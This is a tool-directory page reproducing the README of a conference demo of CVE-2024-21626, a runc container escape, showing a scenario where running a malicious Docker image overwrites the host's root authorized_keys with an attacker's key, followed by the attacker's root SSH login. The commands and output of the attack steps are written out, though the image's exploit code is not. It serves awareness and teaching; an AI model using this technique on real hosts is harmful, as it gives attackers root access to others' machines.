Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21626-demo — Container Runtime Meetup #5 のLT用のデモ | Kitploit
Tools/GitHubGitHub/laysakura/cve-2024-21626-demo
Container SecurityVulnerability AnalysisExploitationLearning & EducationContainer EscapeLabs & Practice
GitHublaysakura/cve-2024-21626-demo

CVE-2024-21626-demo

Container Runtime Meetup #5 のLT用のデモ

View Repository
32 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21626-demo

Demo for the LT at Container Runtime Meetup #5.

This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited.

Slides

Container Runtime Meetup #5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626

Logging into victim-server

The machine registered as victim-server in the ssh_config of the demo laptop.

root@kitploit:~
ssh victim-server

Version information as prerequisites for the victim:

root@kitploit:~
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3

ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4

Logging into attacker-server

Similarly

root@kitploit:~
ssh attacker-server

Scenario

1. [victim-server] Accidentally pull, build, and run a malicious Docker image

root@kitploit:~
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage

2. [victim-server] Unintentionally, /root/.ssh/authorized_keys is overwritten with the attacker's public key

This is not intended, so nothing is done here, but the command to confirm the situation is shown.

root@kitploit:~
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server

3. [attacker-server] Root login to victim-server

root@kitploit:~
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server

root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)

References

  • https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
  • https://github.com/NitroCao/CVE-2024-21626
Download Tool